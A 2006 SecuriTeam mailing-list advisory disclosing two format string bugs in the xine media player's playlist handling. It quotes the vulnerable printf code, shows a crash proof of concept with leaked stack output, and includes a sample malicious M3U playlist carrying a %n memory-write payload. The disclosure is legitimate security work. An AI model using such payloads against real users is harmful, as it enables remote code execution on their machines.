

[UNIX] Xine Format String

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00041.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 27 Apr 2006 13:59:37 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Xine Format String

SUMMARY

" <<http://winehq.de>> xine is a free multimedia player. It plays back CDs, DVDs, and VCDs. It also decodes multimedia files like AVI, MOV, WMV, and MP3 from local disk drives, and displays multimedia streamed over the Internet. It interprets many of the most common multimedia formats available – and some of the most uncommon formats, too."

There are 2 format string bugs in the latest version of Xine that could be exploited by a malicious person to execute code on the system of a remote user running the media player against a malicious playlist file. By passing a format specifier in the path of a file that is embedded in a remote playlist, it is possible to trigger this bug.

DETAILS

The evil code can be found here, in xine-ui-0.99.4/src/xitk/main.c:453:

```
... snip ...
static void print_formatted(char *title, const char *const *plugins) {
const char *plugin;
char buffer[81];
int len;
```

[UNIX] Xine Format String

```
char *blanks = " ";

printf(title);

sprintf(buffer, "%s", blanks);
plugin = *plugins++;

while(plugin) {

len = strlen(buffer);

if((len + (strlen(plugin) + 3)) < 80) {
sprintf(buffer, "%s%s%s", buffer, (strlen(buffer) ==
strlen(blanks)) ? "" : ", ", plugin);
}
else {
printf(buffer);
printf(",\n");
snprintf(buffer, sizeof(buffer), "%s%s", blanks, plugin);
}

... snip ...
```

Proof of concept:

```
cOntax@debauch:~$ xine ---no-splash ---bug-report -gI
AAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
x%x%x%x%x%x%x%x%x%x%x
This is xine (X11 gui) – a free video player v0.99.3.
(c) 2000–2004 The xine Team.
xiTK received SIGSEGV signal, RIP.
Aborted
cOntax@debauch:~$ less BUG-REPORT.txt
```

```
... snip ...
xine: found input plugin : file input plugin
```

```
----- (ERROR) -----
The specified file or mrl is not found. Please check it twice.
(AAAAAAAAAA811bfb1be1fd
ac88e232888e2329 8000206568546365707365696669696620646f20656c726d
20727369206c746f6e20756f6620202e646e61656c5063206573
6b636568207469206369777428202e65 [4141414141414141]
78257825782578257825782578257825782578257825)
... snip ...
```

An example malicious playlist file to trigger the bug:

```
#EXTM3U
#EXTINFO !!All_You_Playlists_Are_Belong_To_Us –
SHHEEEELLLLCCCCOOOOOODDDDDDEEEEEEEEEEEEE!!
AAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
x%x%x%x%x%x%x%.13068u%n%hn
```

[UNIX] Xine Format String

Obviously, we can see straight away that this is a straight forward format string bug which provides a trivial way to hijack .DTORS or some other useful address, allowing the execution of malicious code on a remote victims box.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:c0ntexb@xxxxxxxxxx>> c0ntexb.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.